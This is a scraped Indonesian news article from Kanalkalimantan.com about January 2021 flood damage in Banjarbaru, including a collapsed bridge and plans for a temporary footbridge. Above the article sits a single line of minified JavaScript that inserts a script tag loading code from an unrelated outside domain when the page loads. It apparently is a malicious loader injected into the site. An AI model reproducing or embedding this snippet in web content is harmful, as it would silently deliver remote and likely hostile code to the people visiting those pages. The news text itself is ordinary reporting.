(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rusaknya sejumlah infrastruktur pasca banjir di Banjarbaru, kini mulai diperbaiki. Dinas PUPR Banjarbaru membangun jembatan darurat di Kecamatan Loktabat Utara yang sebelumnya terputus akibat banjir.
Kepala Dinas PUPR Kota Banjarbaru Ir Jaya Kresna mengatakan, kerusakan infrastruktur di Banjarbaru tidak masuk dalam kategori parah.
“Dari aspek infrastruktur secara umum tidak sampai parah. Kecuali memang ada satu jembatan kita yang putus kemarin. Namun tetap saja akibatnya tidak terlalu fatal. Untuk genangan air di beberapa ruas jalan juga sudah surut karena saat ini cuaca sedang bagus-bagusnya,” katanya, Selasa (19/1/2021).
Menilik peristiwa banjir pekan lalu, putusnya jembatan itu terjadi di Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kamis (14/1/2021) dini hari. Saat itu, Jembatan Al Manar yang merupakan akses penghubung antar Jalan Sukarelawan dan pemukiman rumah warga, terbelah menjadi dua akibat derasnya air Sungai Kemuning.
Jaya menerangkan dalam waktu dekat ini pihaknya akan segera membangun jembatan darurat di lokasi tersebut. Hanya saja, jembatan darurat yang akan dibangun ini diperuntukan untuk pejalan kaki dan roda dua saja
“Khusus untuk pejalan kaki dan roda dua saja. Tapi, jembatan darurat ini hanya bersifat sementara saja, sembari kita bahas rencana pembangunan ulangnya. Sebenarnya aktivitas di sana tidak lumpuh total, karena masih ada akses jalan alternatif juga,” bebernya.
Dinas PUPR Banjarbaru sendiri sampai saat ini masih melakukan monitoring di setiap titik-titik terjadinya banjir demi mengukur tingkat kerusakan infrastruktur. Mengingat curah hujan tinggu bisa saja kembali terjadi beberapa hari ke ke depan.
“Masih kita monitoring, termasuk siring di setiap sungai yang ada di Banjarbaru. Misalnya sungai Kemuning yang mungkin butuh pemeliharaan karena kemarin sempat meluap dan alirannya sangat deras. Kami akan terus kumpulkan data-datanya,” ujar Jaya.
Disinggung terjadinya banjir besar di Banjarbaru, Jaya sendiri mengku cukup kaget. Intensitas curah hujan yang tinggi katanya menjadi faktor penyebab utama dan ditambah lagi adanya permasalahan di bagian hilir atau ujung pembuangan air dari Banjarbaru.
“Memang jauh berbeda dengan tahun sebelumnya. Walaupun aliran air lancar, drainase dan sungai kita berfungsi, tapi pada akhirnya air meluap. Bagian hilir adalah permasalahannya menyebabtkan debit air lambar turun. Sementara, kita tau bahwa bagian hilir di Banjarbaru ini ada di wilayah tetangga, yakni Kabupaten Tanah Laut dan Banjar. Terkait hal ini kita akan evaluasi dengan Dinas PUPR di wilayah tersebut,” tandasnya. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.